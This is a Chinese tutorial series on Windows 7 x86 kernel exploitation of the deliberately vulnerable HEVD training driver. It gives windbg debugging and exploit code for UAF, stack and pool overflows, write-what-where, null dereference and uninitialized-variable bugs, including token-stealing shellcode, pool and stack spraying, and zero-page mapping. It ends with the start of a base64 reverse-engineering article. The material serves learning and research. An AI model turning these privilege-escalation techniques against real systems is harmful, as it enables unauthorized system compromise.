我们第一步需要准备的就是一个Windows7 x86 sp1的虚拟机了,虚拟机就不多解释如何安装了,当你安装好了虚拟机之后你还需要安装一个内核调试工具windbg,如果你是一个 pwn 选手,那你肯定熟悉 gdb 调试,如果你是 reverse 选手,那你肯定熟悉 OD 调试,但是我们现在是对内核调试,需要用windbg调试,建议使用windbg官方预览版,进去之后点击获取就会在微软官方应用商城下载
下载之后我们需要对符号路径进行设置,这是我自己的设置,根据自己HEVD的路径不同,选择填入自己的路径
下面是我的路径信息
1 | C:\ Symbols |
VirtualKD 在这里下载,下载完之后我们打开 Virtual Machine monitor ,点击 Debugger path 之后选择我们调试器的路径就可以用了
双击调试的过程动态图在这里
安装之后按如下操作即可加载HEVD驱动,开启服务
当上面的步骤都做完时,用windbg打印lm m H*
命令,点击蓝色的HEVD,再点击蓝色的Browse all global symbols,能解析出地址就说明一切准备就绪,如下图
后面的文章我们会用HEVD来构造各种漏洞环境,依次在Windows 7 x86 sp1下感受Windows的pwn和Linux的有何区别,如果你不知道该准备些什么知识的时候,试着去了解一些驱动相关的知识,当然逆向的基础不能少,你需要掌握一些基本的汇编语言,准备的过程可能会出现许许多多奇怪的问题,这个时候就需要你去慢慢百度解决了,一定要有耐心,还有一些基础的工具你也需要提前准备好(IDA,VS,源码查看工具等等)
这是我总结的Windows kernel exploit系列的第一部分,前一篇我们讲了环境的配置,这一篇从简单的UAF入手,第一篇我尽量写的详细一些,实验环境是Windows 7 x86 sp1,研究内核漏洞是一件令人兴奋的事情,希望能通过文章遇到更多志同道合的朋友,看此文章之前你需要有以下准备:
首先我们要明白一个道理,运行一个普通的程序在正常情况下是没有系统权限的,但是往往在一些漏洞利用中,我们会想要让一个普通的程序达到很高的权限就比如系统权限,下面做一个实验,我们在虚拟机中用普通权限打开一个cmd然后断下来,用!dml_proc
命令查看当前进程的信息
1 | kd> !dml_proc |
我们可以看到System
的地址是 865ce8a8 ,cmd
的地址是 87040ca0 ,我们可以通过下面的方式查看地址中的成员信息,这里之所以 +f8 是因为token
的位置是在进程偏移为 0xf8 的地方,也就是Value
的值,那么什么是token
?你可以把它比做等级,不同的权限等级不同,比如系统权限等级是5级(最高),那么普通权限就好比是1级,我们可以通过修改我们的等级达到系统的5级权限,这也就是提权的基本原理,如果我们可以修改进程的token
为系统的token
,那么就可以提权成功,我们手动操作一次下面是修改前token
值的对比
1 | kd> dt nt!_EX_FAST_REF 865ce8a8+f8 |
我们通过ed命令修改cmd token的值为system token
1 | kd> ed 87040ca0+f8 8a201275 |
用whoami
命令发现权限已经变成了系统权限
我们将上面的操作变为汇编的形式如下
1 | void ShellCode() |
解释一下上面的代码,fs寄存器在Ring0中指向一个称为KPCR的数据结构,即FS段的起点与 KPCR 结构对齐,而在Ring0中fs寄存器一般为0x30,这样fs:[124]就指向KPRCB数据结构的第四个字节。由于 KPRCB 结构比较大,在此就不列出来了。查看其数据结构可以看到第四个字节指向CurrentThead
(KTHREAD类型)。这样fs:[124]其实是指向当前线程的_KTHREAD
1 | kd> dt nt!_KPCR |
再来看看_EPROCESS
的结构,+0xb8处是进程活动链表,用于储存当前进程的信息,我们通过对它的遍历,可以找到system的token
,我们知道system的PID一直是4,通过这一点我们就可以遍历了,遍历到系统token
之后替换就行了
1 | kd> dt nt!_EPROCESS |
如果你是一个pwn选手,那么肯定很清楚UAF的原理,简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。类比Linux的内存管理机制,Windows下的内存申请也是有规律的,我们知道ExAllocatePoolWithTag
函数中申请的内存并不是胡乱申请的,操作系统会选择当前大小最合适的空闲堆来存放它。如果你足够细心的话,在源码中你会发现在UseUaFObject
中存在g_UseAfterFreeObject->Callback();
的片段,如果我们将Callback
覆盖为shellcode
就可以提权了
1 | typedef struct _USE_AFTER_FREE { |
如果我们一开始申请堆的大小和UAF中堆的大小相同,那么就可能申请到我们的这块内存,假如我们又提前构造好了这块内存中的数据,那么当最后释放的时候就会指向我们shellcode的位置,从而达到提取的效果。但是这里有个问题,我们电脑中有许许多多的空闲内存,如果我们只构造一块假堆,我们并不能保证刚好能够用到我们的这块内存,所以我们就需要构造很多个这种堆,换句话说就是堆海战术
吧,如果你看过0day安全这本书,里面说的堆喷射也就是这个原理。
根据上面我们已经得到提权的代码,相当于我们只有子弹没有枪,这样肯定是不行的,我们首先伪造环境
1 | typedef struct _FAKE_USE_AFTER_FREE |
接下来我们进行堆喷射
1 | for (int i = 0; i < 5000; i++) |
你可能会疑惑上面的IO控制码是如何得到的,这是通过逆向分析IrpDeviceIoCtlHandler
函数得到的,我们通过DeviceIoControl
函数实现对驱动中函数的调用,下面原理相同
1 | // 调用 UseUaFObject() 函数 |
最后我们需要一个函数来调用 cmd 窗口检验我们是否提权成功
1 | static VOID CreateCmd() |
上面是主要的代码,详细的代码参考这里,最后提权成功
对于 UseAfterFree 漏洞的修复,如果你看过我写的一篇pwn-UAF入门的话,补丁的修复就很明显了,我们漏洞利用是在 free 掉了对象之后再次对它的引用,如果我们增加一个条件,判断对象是否为空,如果为空则不调用,那么就可以避免 UseAfterFree 的发生,而在FreeUaFObject()
函数中指明了安全的措施,我们只需要把g_UseAfterFreeObject
置为NULL
1 |
|
下面是在UseUaFObject()
函数中的修复方案:
1 | if(g_UseAfterFreeObject != NULL) |
这是 Windows kernel exploit 系列的第二部分,前一篇我们讲了UAF的利用,这一篇我们通过内核空间的栈溢出来继续深入学习 Windows Kernel exploit ,看此文章之前你需要有以下准备:
栈溢出是系列漏洞中最为基础的漏洞,如果你是一个 pwn 选手,第一个学的就是简单的栈溢出,栈溢出的原理比较简单,我的理解就是用户对自己申请的缓冲区大小没有一个很好的把控,导致缓冲区作为参数传入其他函数的时候可能覆盖到了不该覆盖的位置,比如 ebp,返回地址等,如果我们精心构造好返回地址的话,程序就会按照我们指定的流程继续运行下去,原理很简单,但是实际用起来并不是那么容易的,在Windows的不断更新过程中,也增加了许多对于栈溢出的安全保护机制。
我们在IDA中打开源码文件StackOverflow.c
源码文件这里下载查看一下主函数TriggerStackOverflow
,这里直接将 Size 传入memcpy
函数中,未对它进行限制,就可能出现栈溢出的情况,另外,我们可以发现 KernelBuffer 的 Size 是 0x800
1 | int __stdcall TriggerStackOverflow(void *UserBuffer, unsigned int Size) |
我们现在差的就是偏移了,偏移的计算是在windbg中调试得到的,我们需要下两处断点来找偏移,第一处是在TriggerStackOverflow
函数开始的地方,第二处是在函数中的memcpy
函数处下断点
1 | kd> bl //查看所有断点 |
上面的第一处断点可以看到返回地址是0x91a03ad4
1 | kd> g |
上面的第二处断点可以看到0x91a032b4是我们memcpy
的第一个参数,也就是KernelBuffer
,我们需要覆盖到返回地址也就是偏移为 0x820
1 | 0x91a03ad4-0x91a032b4) hex( |
知道了偏移,我们只需要将返回地址覆盖为我们的shellcode的位置即可提权,提权的原理我在第一篇就有讲过,需要的可以参考我的第一篇,只是这里提权的代码需要考虑到栈的平衡问题,在TriggerStackOverflow
函数开始的地方,我们下断点观察发现,ebp的值位置在91a3bae0,也就是值为91a3bafc
1 | kd> g |
当我们进入shellcode的时候,我们的ebp被覆盖为了0x41414141,为了使堆栈平衡,我们需要将ebp重新赋值为97a8fafc
1 | kd> |
利用思路中,我们介绍了为什么要堆栈平衡,下面是具体的shellcode部分
1 | VOID ShellCode() |
构造并调用shellcode部分
1 | char buf[0x824]; |
具体的代码参考这里,最后提权成功
我们先查看源文件 StackOverflow.c
中补丁的措施,区别很明显,不安全版本的RtlCopyMemory
函数中的第三个参数没有进行控制,直接将用户提供的 Size 传到了函数中,安全的补丁就是对RtlCopyMemory
的参数进行严格的设置
1 |
|
这是 Windows kernel exploit 系列的第三部分,前一篇我们讲了内核栈溢出的利用,这一篇我们介绍任意内存覆盖漏洞,也就是 Write-What-Where 漏洞,和前面一样,看此文章之前你需要有以下准备:
从 IDA 中我们直接分析HEVD.sys
中的TriggerArbitraryOverwrite
函数,乍一看没啥毛病,仔细分析发现v1,v2这俩指针都没有验证地址是否有效就直接拿来用了,这是内核态,给点面子好吧,胡乱引用可以要蓝屏的(严肃
1 | int __stdcall TriggerArbitraryOverwrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere) |
我们从ArbitraryOverwrite.c
源码文件入手,直接定位关键点
1 |
|
如果你不清楚ProbeForRead
函数的话,这里可以得到很官方的解释(永远记住官方文档是最好的),就是检查用户模式缓冲区是否实际驻留在地址空间的用户部分中,并且正确对齐,相当于检查一块内存是否正确。
1 | void ProbeForRead( |
和我们设想的一样,从刚才上面的对比处可以很清楚的看出,在安全的条件下,我们在使用两个指针的时候对指针所指向的地址进行了验证,如果不对地址进行验证,在内核空间中访问到了不该访问的内存那很可能就会蓝屏,通过这一点我们就可以利用,既然是访问内存,那我们让其访问我们shellcode的位置即可达到提权的效果,那么怎么才能访问到我们的shellcode呢?
控制码
知道了漏洞的原理之后我们开始构造exploit,前面我们通过分析IrpDeviceIoCtlHandler
函数可以逆向出每个函数对应的控制码,然而这个过程我们可以通过分析HackSysExtremeVulnerableDriver.h
自己计算出控制码,源码中的定义如下
1 |
下面解释一下如何计算控制码,CTL_CODE
这个宏负责创建一个独特的系统I/O(输入输出)控制代码(IOCTL),计算公式如下
1 |
|
通过python我们就可以计算出控制码(注意对应好位置)
1 | 0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003) hex(( |
因为WRITE_WHAT_WHERE
结构如下,一共有8个字节,前四个是 what ,后四个是 where ,所以我们申请一个buf大小为8个字节传入即可用到 what 和 where 指针
1 | typedef struct _WRITE_WHAT_WHERE { |
下面我们来测试一下我们的猜测是否正确
1 |
|
在 windbg 中如果不能显示出 dbgprint 中内容的话输入下面的这条命令即可显示
1 | ed nt!Kd_DEFAULT_Mask 8 |
我们运行刚才生成的程序,如我们所愿,这里已经成功调用了ArbitraryOverwriteIoctlHandler
函数并且修改了 What 和 Where 指针
1 | kd> ed nt!Kd_DEFAULT_Mask 8 |
当然我们不能只修改成0x41414141,我们所希望的是把what指针覆盖为shellcode的地址,where指针修改为能指向shellcode地址的指针
Where & What 指针
这里的where指针我们希望能够覆盖到一个安全可靠的地址,我们在windbg中反编译一下NtQueryIntervalProfile+0x62
这个位置
1 | kd> u nt!NtQueryIntervalProfile+0x62 |
上面可以发现,0x84159ed6
这里会调用到一个函数KeQueryIntervalProfile
,我们继续跟进
1 | 2: kd> u KeQueryIntervalProfile |
上面的0x840cc438
处会有一个指针数组,这里就是我们shellcode需要覆盖的地方,为什么是这个地方呢?这是前人发现的,这个函数在内核中调用的很少,可以安全可靠地覆盖,而不会导致计算机崩溃,对于初学者而言就把这个地方当公式用吧,下面简单看一下HalDispatchTable
这个内核服务函数指针表,结构如下
1 | HAL_DISPATCH HalDispatchTable = { |
我们需要很清楚的知道,我们刚才在找什么,我们就是在找where指针的位置,所以我们只需要把where的位置放在HalDispatchTable+0x4
处就行了,而what指针我们希望的是存放shellcode的位置
上面我们解释了where和what指针的原理,现在我们需要用代码来实现上面的过程,我们主要聚焦点在where指针上,我们需要找到HalDispatchTable+0x4
的位置,我们大致分一下流程:
ntkrnlpa.exe 在 kernel mode 中的基地址
我们用EnumDeviceDrivers
函数检索系统中每个设备驱动程序的加载地址,然后用GetDeviceDriverBaseNameA
函数检索指定设备驱动程序的基本名称,以此确定 ntkrnlpa.exe 在内核模式中的基地址,当然我们需要包含文件头Psapi.h
1 | LPVOID NtkrnlpaBase() |
ntkrnlpa.exe 在 user mode 中的基地址
我们用函数LoadLibrary
将指定的模块加载到调用进程的地址空间中,获取它在用户模式下的基地址
1 | HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe"); |
HalDispatchTable 在 user mode 中的地址
我们用GetProcAddress
函数返回ntkrnlpa.exe
中的导出函数HalDispatchTable
的地址
1 | PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable"); |
计算 HalDispatchTable+0x4 的地址
如果你是一个pwn选手的话,你可以把这里的计算过程类比计算函数中的偏移,实际地址 = 基地址 + 偏移,最终我们确定下了HalDispatchTable+0x4
的地址
1 | DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4; |
我们计算出了where指针的位置,what指针放好shellcode的位置之后,我们再次调用NtQueryIntervalProfile
内核函数就可以实现提权,但是这里的NtQueryIntervalProfile
函数需要我们自己去定义(函数的详情建议下一个Windows NT4的源码查看),函数原型如下:
1 | NTSTATUS |
最后你可能还要注意一下堆栈的平衡问题,shellcode中需要平衡一下堆栈
1 | static VOID ShellCode() |
详细的代码参考这里,最后提权成功
这是 Windows kernel exploit 系列的第四部分,前一篇我们讲了任意内存覆盖漏洞,这一篇我们讲内核池溢出漏洞,这一篇篇幅虽然可能不会很多,但是需要很多的前置知识,也就是说,我们需要对Windows内存分配机制有一个深入的理解,我的建议是先看《0day安全:软件漏洞分析技术第二版》中的第五章堆溢出利用,里面很详细的讲解了堆的一些机制,但是主要讨论的是 Windows 2000~Windows XP SP1 平台的堆管理策略,看完了之后,类比堆溢出利用你可以看 Tarjei Mandt 写的 Kernel Pool Exploitation on Windows 7 ,因为我们的实验平台是 Windows 7 的内核池,所以我们需要对内核池深入的理解,总之这个过程是漫长的,并不是一两天就能搞定的,话不多说,进入正题,看此文章之前你需要有以下准备:
我们暂时先不看源码,先用IDA分析HEVD.sys
,我们找到TriggerPoolOverflow
函数,先静态分析一下函数在干什么,可以看到,函数首先用ExAllocatePoolWithTag
函数分配了一块非分页内存池,然后将一些信息打印出来,又验证缓冲区是否驻留在用户模式下,然后用memcpy
函数将UserBuffer
拷贝到KernelBuffer
,这和内核栈溢出有点似曾相识的感觉,同样的拷贝,同样的没有控制Size的大小,只是一个是栈溢出一个是池溢出
1 | int __stdcall TriggerPoolOverflow(void *UserBuffer, unsigned int Size) |
漏洞的原理很简单,就是没有控制好传入Size的大小,为了更清楚的了解漏洞原理,我们分析一下源码文件BufferOverflowNonPagedPool.c
,定位到关键点的位置,也就是说,安全的操作始终对分配的内存有严格的控制
1 |
|
漏洞的原理我们已经清楚了,但是关键点还是在利用上,内核池这个东西利用起来就不像栈一样那么简单了,我们还是一步一步的构造我们的exploit吧,首先根据上一篇的经验我们知道如何计算控制码从而调用TriggerPoolOverflow
函数,首先找到HackSysExtremeVulnerableDriver.h
中定义IOCTL
的地方,找到我们对应的函数
1 |
然后我们用python计算一下控制码
1 | 0x00000022 << 16) | (0x00000000 << 14) | (0x803 << 2) | 0x00000003) hex(( |
我们验证一下我们的代码,我们先给buf一个比较小的值
1 |
|
运行一下如我们所愿调用了TriggerPoolOverflow
函数,另外我们可以发现 Pool Size 有 0x1F8(504) 的大小(如果你细心的话其实在IDA中也能看到,另外你可以尝试着多传入几个字节的大小破坏下一块池头的内容,看看是否会蓝屏)
1 | 0: kd> g |
我们现在需要了解内核池分配的情况,所以我们需要在拷贝函数执行之前下断点观察,我们把 buf 设为 0x1F8 大小
1 | 1: kd> u 8D6A320B // 反编译查看断点位置是否下对 |
我们可以用!pool address
命令查看address周围地址处的池信息
1 | kd> !pool 0x88CAAA90 |
我们查看我们申请到池的末尾,0x41414141之后就是下一个池的池首,我们待会主要的目的就是修改下一个池首的内容,从而运行我们shellcode
1 | kd> dd 88caac88-8 |
从上面的池分布信息可以看到周围的池分布是很杂乱无章的,我们希望是能够控制我们内核池的分布,从源码中我们已经知道,我们的漏洞点是产生在非分页池中的,所以我们需要一个函数像malloc一样申请在我们的内核非分页池中,我们这里使用的是CreateEventA
,函数原型如下
1 | HANDLE CreateEventA( |
该函数会生成一个Event
事件对象,它的大小为 0x40 ,因为在刚才的调试中我们知道我们的池大小为 0x1f8 + 8 = 0x200
,所以多次申请就刚好可以填满我们的池,如果把池铺满成我们的Event对象,我们再用CloseHandle
函数释放一些对象,我们就可以在Event中间留出一些我们可以操控的空间,我们构造如下代码测试
1 |
|
可以发现,我们已经把内核池铺成了我们希望的样子
1 | ****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ****** |
接下来我们加上CloseHandle
函数就可以制造一些空洞了
1 | VOID pool_spray() |
重新运行结果如下,我们已经制造了许多空洞
1 | ****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ****** |
首先我们复习一下x86 Kernel Pool
的池头结构_POOL_HEADER
,_POOL_HEADER
是用来管理pool thunk的,里面存放一些释放和分配所需要的信息
1 | 0: kd> dt nt!_POOL_HEADER |
我们在调试中查看下一个池的一些结构
1 | ... |
你可能会疑惑_OBJECT_HEADER
和_OBJECT_HEADER_QUOTA_INFO
是怎么分析出来的,这里你需要了解 Windows 7 的对象结构不然可能听不懂图片下面的那几行字,最好是在NT4源码(private\ntos\inc\ob.h)中搜索查看这些结构,这里我放一张图片吧
这里我简单说一下如何识别这两个结构的,根据下一块池的大小是 0x40 ,在_OBJECT_HEADER_QUOTA_INFO
结构中NonPagedPoolCharge
的偏移为0x004刚好为池的大小,所以这里确定为_OBJECT_HEADER_QUOTA_INFO
结构,又根据InfoMask
字段在_OBJECT_HEADER
中的偏移,结合我们确定的_OBJECT_HEADER_QUOTA_INFO
结构掩码为0x8可以确定这里就是我们的InfoMask
,这样推出_OBJECT_HEADER
的位置在+0x18处,其实我们需要修改的也就是_OBJECT_HEADER
中的TypeIndex
字段,这里是0xc,我们需要将它修改为0,我们看一下_OBJECT_HEADER
的结构
1 | 3: kd> dt _OBJECT_HEADER |
Windows 7 之后 _OBJECT_HEADER
及其之前的一些结构发生了变化,Windows 7之前0×008处的指向_OBJECT_TYPE
的指针已经没有了, 取而代之的是在 0x00c 处的类型索引值。但Windows7中添加了一个函数ObGetObjectType
,返回Object_type
对象指针,也就是说根据索引值在ObTypeIndexTable
数组中找到对应的ObjectType
1 | 3: kd> u ObGetObjectType |
我们查看一下ObTypeIndexTable
数组,根据TypeIndex
的大小我们可以确定偏移 0xc 处的 0x865f0598 即是我们 Event 对象的OBJECT_TYPE
,我们这里主要关注的是TypeInfo
中的CloseProcedure
字段
1 | 1: kd> dd nt!ObTypeIndexTable |
我们的最后目的是把CloseProcedure
字段覆盖为指向shellcode的指针,因为在最后会调用这些函数,把这里覆盖自然也就可以执行我们的shellcode,我们希望这里能够将Event这个结构放在我们能够操控的位置,在 Windows 7 中我们知道是可以在用户模式下控制0页内存的,所以我们希望这里能够指到0页内存,所以我们想把TypeIndex
从0xc修改为0x0,在 Windows 7 下ObTypeIndexTable
的前八个字节始终为0,所以可以在这里进行构造,需要注意的是,这里我们需要申请0页内存,我们传入的第二个参数不能是0,如果是0系统就会随机给我们分配一块内存,我们希望的是分配0页,如果传入1的话由于内存对齐就可以申请到0页内存,然后就可以放入我们shellcode的位置了
1 | PVOIDZero_addr = (PVOID)1; |
最后我们整合一下代码就可以提权了,总结一下步骤
TriggerPoolOverflow
函数最后提权效果如下,详细代码参考这里
这是 Windows kernel exploit 系列的第五部分,前一篇我们讲了池溢出漏洞,这一篇我们讲空指针解引用,这篇和上篇比起来就很简单了,话不多说,进入正题,看此文章之前你需要有以下准备:
我们还是先用IDA分析HEVD.sys
,大概看一下函数的流程,函数首先验证了我们传入UserBuffer
是否在用户模式下,然后申请了一块池,打印了池的一些属性之后判断UserValue
是否等于一个数值,相等则打印一些NullPointerDereference
的属性,不相等则将它释放并且置为NULL,但是下面没有做任何检验就直接引用了NullPointerDereference->Callback();
这显然是不行,的当一个指针的值为空时,却被调用指向某一块内存地址时,就产生了空指针引用漏洞
1 | int __stdcall TriggerNullPointerDereference(void *UserBuffer) |
我们从源码NullPointerDereference.c
查看一下防护措施,安全的操作对NullPointerDereference
是否为NULL进行了检验,其实我们可以联想到上一篇的内容,既然是要引用0页内存,那都不用我们自己写触发了,直接构造好0页内存调用这个问题函数就行了
1 |
|
我们还是从控制码入手,在HackSysExtremeVulnerableDriver.h
中定位到相应的定义
1 |
然后我们用python计算一下控制码
1 | 0x00000022 << 16) | (0x00000000 << 14) | (0x80A << 2) | 0x00000003) hex(( |
我们验证一下我们的代码,我们先传入 buf = 0xBAD0B0B0 观察,构造如下代码
1 |
|
如我们所愿,这里因为 UserValue = 0xBAD0B0B0 所以打印了NullPointerDereference
的一些信息
1 | ****** HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE ****** |
我们还是用前面的方法申请到零页内存,只是我们这里需要修改shellcode指针放置的位置
1 | PVOID Zero_addr = (PVOID)1; |
shellcode还是注意需要堆栈的平衡,不然可能就会蓝屏,有趣的是,我在不同的地方测试的效果不一样,也就是说在运行exp之前虚拟机的状态不一样的话,可能效果会不一样(这一点我深有体会)
1 | static VOID ShellCode() |
最后我们整合一下代码就可以提权了,总结一下步骤
TriggerNullPointerDereference
函数提权效果如下,详细的代码参考这里
这是 Windows kernel exploit 系列的第六部分,前一篇我们讲了空指针解引用,这一篇我们讲内核未初始化栈利用,这篇虽然是内核栈的利用,与前面不同的是,这里需要引入一个新利用手法 => 栈喷射,需要你对内核栈和用户栈理解的比较深入,看此文章之前你需要有以下准备:
我们还是先用IDA分析HEVD.sys
,找到相应的函数TriggerUninitializedStackVariable
1 | int __stdcall TriggerUninitializedStackVariable(void *UserBuffer) |
我们仔细分析一下,首先函数将一个值设为0,ms_exc
原型如下,它其实就是一个异常处理机制(预示着下面肯定要出异常),然后我们还是将传入的UserBuffer
和 0xBAD0B0B0 比较,如果相等的话就给UninitializedStackVariable
函数的一些参数赋值,后面又判断了回调函数的存在性,最后调用回调函数,也就是说,我们传入的值不同的话可能就存在利用点,所以我们将聚焦点移到UninitializedStackVariable
函数上
1 | typedef struct CPPEH_RECORD |
我们来看一下源码里是如何介绍的,显而易见,一个初始化将UninitializedMemory
置为了NULL,而另一个没有,要清楚的是我们现在看的是内核的漏洞,与用户模式并不相同,所以审计代码的时候要非常仔细
1 |
|
我们还是从控制码入手,在HackSysExtremeVulnerableDriver.h
中定位到相应的定义
1 |
然后我们用python计算一下控制码
1 | 0x00000022 << 16) | (0x00000000 << 14) | (0x80b << 2) | 0x00000003) hex(( |
我们验证一下我们的代码,我们先传入 buf = 0xBAD0B0B0 观察,构造如下代码
1 |
|
这里我们打印的信息如下,可以看到对UninitializedStackVariable
的一些对象进行了正确的赋值
1 | ****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ****** |
我们尝试传入不同的值
1 | VOID Trigger_shellcode() |
运行效果如下,因为有异常处理机制,所以这里并不会蓝屏
1 | 0: kd> g |
我们在HEVD!TriggerUninitializedStackVariable+0x8c
比较处下断点运行查看
1 | 1: kd> u 8D6A3F86 |
我们断下来之后用dps esp
可以看到我们的 Value 和 Callback ,单步几次观察,可以发现确实已经被SEH异常处理所接手
1 | ****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ****** |
因为程序中会调用回调函数,所以我们希望的是把回调函数设置为我们shellcode的位置,其实如果这里不对回调函数进行验证是否为0,我们可以考虑直接在0页构造我们的shellcode,但是这里对回调函数进行了限制,就需要换一种思路
1 | #endif |
我们需要把回调函数的位置修改成不为0的地址,并且地址指向的是我们的shellcode,这里就需要用到一个新的方法,栈喷射,j00ru师傅的文章很详细的讲解了这个机制,我简单解释一下,我们始终是在用户模式干扰内核模式,首先你需要了解内核栈和用户栈的结构,然后了解下面这个函数是如何进行栈喷射的,函数原型如下
1 |
|
因为COPY_STACK_SIZE
的大小是1024,函数的栈最大也就 4096byte ,所以我们只需要传 1024 * 4 = 4096 的大小就可以占满一页内存了,当然我们传的都是我们的shellcode的位置
1 | PDWORD StackSpray = (PDWORD)malloc(1024 * 4); |
我们来看看我们完整的exp的运行情况,我们还是在刚才的地方下断点,可以清楚的看到我们的shellcode已经被喷上去了
1 | 0: kd> ba e1 8D6A3F86 |
最后我们整合一下代码就可以提权了,总结一下步骤
NtMapUserPhysicalPages
进行喷射TriggerUninitializedStackVariable
函数触发漏洞提权效果如下,详细的代码参考这里
这是 Windows kernel exploit 系列的最后一篇,如果你按顺序观看我之前文章并且自己调过的话,应该对各种漏洞类型在Windows 7 下的利用比较熟悉了,其他的话我放在最后说把,现在进入我所谓的最后一个专题,未初始化的堆变量利用,看此文章之前你需要有以下准备:
我们还是先用IDA分析HEVD.sys
,找到相应的函数TriggerUninitializedHeapVariable
,这里首先还是初始化了异常处理机制,验证我们传入的UserBuffer
是否在 user mode ,然后申请了一块分页池,将我们的UserBuffer
给了UserValue
,判断是否等于 0xBAD0B0B0 ,如果相等则给回调函数之类的赋值,如果不相等则直接调用回调函数,根据前一篇的经验,这里肯定是修改回调函数为我们shellcode的位置,最后调用提权
1 | int __stdcall TriggerUninitializedHeapVariable(void *UserBuffer) |
我们查看一下源码文件是如何说明的,安全的方案先检查了是否存在空指针,然后将UninitializedMemory
置为NULL,最后安全的调用了回调函数,而不安全的方案则在不确定 Value 和 Callback 的情况下直接调用了回调函数
1 |
|
漏洞的原理我们很清楚了,现在就是如何构造和利用的问题了,如果你没有看过我之前的文章,建议看完这里之后去看看池溢出那一篇,最好是读一下文章中所提到的Tarjei Mandt 写的 Kernel Pool Exploitation on Windows 7,对Windows 7 内核池有一个比较好的认识
我们还是从控制码入手,在HackSysExtremeVulnerableDriver.h
中定位到相应的定义
1 |
然后我们用python计算一下控制码
1 | 0x00000022 << 16) | (0x00000000 << 14) | (0x80c << 2) | 0x00000003) hex(( |
我们验证一下我们的代码,我们先传入 buf = 0xBAD0B0B0 观察,构造如下代码
1 |
|
这里我们打印的信息如下,如我们所愿,并没有异常发生
1 | 3: kd> g |
我们尝试传入不同的值观察是否有异常发生
1 | VOID Trigger_shellcode() |
我们在调用运行效果如下,这里被异常处理所接受,这里我们Callback有一个值,我们查看之后发现是一个无效地址,我们希望的当然是指向我们的shellcode,所以就需要想办法构造了
1 | ****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ****** |
现在我们已经有了思路,还是把Callback指向shellcode,既然上一篇类似的问题能够栈喷射,那这里我们自然想到了堆喷射,回想我们在池溢出里堆喷射所用的函数CreateEventA
,这里我们多研究一下这个函数,要知道我们这里是分页池而不是非分页池,如果你用池溢出那一段申请很多Event对象的代码的话,是看不到一个Event对象存在分页池里面的(并且会蓝屏),但是函数中的lpName
这个参数就比较神奇了,它是分配在分页池里面的,并且是我们可以操控的
1 | HANDLE CreateEventA( |
为了更好的理解这里的利用,让我们复习一下 Windows 7 下的Lookaside Lists
快表结构,并且我们知道最大块大小是0x20,最多有256个块(前置知识来自Tarjei Mandt的Kernel Pool Exploitation on Windows 7文章),这里要清楚的是我们是在修改快表的结构,因为申请池一开始是调用的快表,如果快表不合适才会去调用空表(ListHeads)
1 | typedef struct _GENERAL_LOOKASIDE_POOL |
我们还需要知道的是,我们申请的每一个结构中的lpName
还不能一样,不然两个池在后面就相当于一个在运作,又因为pool size为0xf0,加上header就是0xf8,所以我们这里考虑将lpName
大小设为0xf0,因为源码中我们的堆结构如下:
1 | typedef struct _UNINITIALIZED_HEAP_VARIABLE { |
我们可以确定回调函数在 +0x4 的位置,放入我们的shellcode之后我们在利用循环中的 i 设置不同的 lpname 就行啦
1 | for (int i = 0; i < 256; i++) |
最后我们整合一下代码就可以提权了,总结一下步骤
CreateEventW
进行喷射TriggerUninitializedHeapVariable
函数触发漏洞提权的过程中你可以参考下面几个地方查看相应的位置是否正确
1 | 0: kd> g |
提权效果如下,详细的代码参考这里
本系列文章首发于先知社区,为了方便自己查阅,这篇是我重新整理之后的文章
参考链接
]]>本片文章主要逆向一些CTF中的常见算法,对算法的原理和实现结合进行分析,总结一些常用的方法以供参考
Base64可以将ASCII字符串或者是二进制编码成只包含A—Z,a—z,0—9,+,/ 这64个字符( 26个大写字母,26个小写字母,10个数字,1个+,一个 / 刚好64个字符)。这64个字符用6个bit位就可以全部表示出来,一个字节有8个bit 位,那么还剩下两个bit位,这两个bit位用0来补充。其实,一个Base64字符仍然是8个bit位,但是有效部分只有右边的6个 bit,左边两个永远是0。Base64的编码规则是将3个8位字节(3×8=24位)编码成4个6位的字节(4×6=24位),之后在每个6位字节前面,补充两个0,形成4个8位字节的形式,那么取值范围就变成了0~63。又因为2的6次方等于64,所以每6个位组成一个单元。一般在CTF逆向题目中base64的加密过程主要是用自定义的索引表,所以如果能一眼能看出是base64加密就会节约很多时间。
索引表如下
索引 | 对应字符 | 索引 | 对应字符 | 索引 | 对应字符 | 索引 | 对应字符 |
---|---|---|---|---|---|---|---|
0 | A | 17 | R | 34 | i | 51 | z |
1 | B | 18 | S | 35 | j | 52 | 0 |
2 | C | 19 | T | 36 | k | 53 | 1 |
3 | D | 20 | U | 37 | l | 54 | 2 |
4 | E | 21 | V | 38 | m | 55 | 3 |
5 | F | 22 | W | 39 | n | 56 | 4 |
6 | G | 23 | X | 40 | o | 57 | 5 |
7 | H | 24 | Y | 41 | p | 58 | 6 |
8 | I | 25 | Z | 42 | q | 59 | 7 |
9 | J | 26 | a | 43 | r | 60 | 8 |
10 | K | 27 | b | 44 | s | 61 | 9 |
11 | L | 28 | c | 45 | t | 62 | + |
12 | M | 29 | d | 46 | u | 63 | / |
13 | N | 30 | e | 47 | v | ||
14 | O | 31 | f | 48 | w | ||
15 | P | 32 | g | 49 | x | ||
16 | Q | 33 | h | 50 | y |
第一个例子以base64加密SLF为例子,过程如下
1 | 字符串 S L F |
第二个例子以base64加密M为例子,过程如下
1 | 字符串 M |
最上面的base64char索引表可以自定义,这里用c实现
1 |
|
输入如下
1 | C:\Users\thunder>"D:\AlgorithmTest.exe" |
上面的代码是base64加密和解密字符串a45rbcd
我们用IDA查看,base64char即是我们的索引表
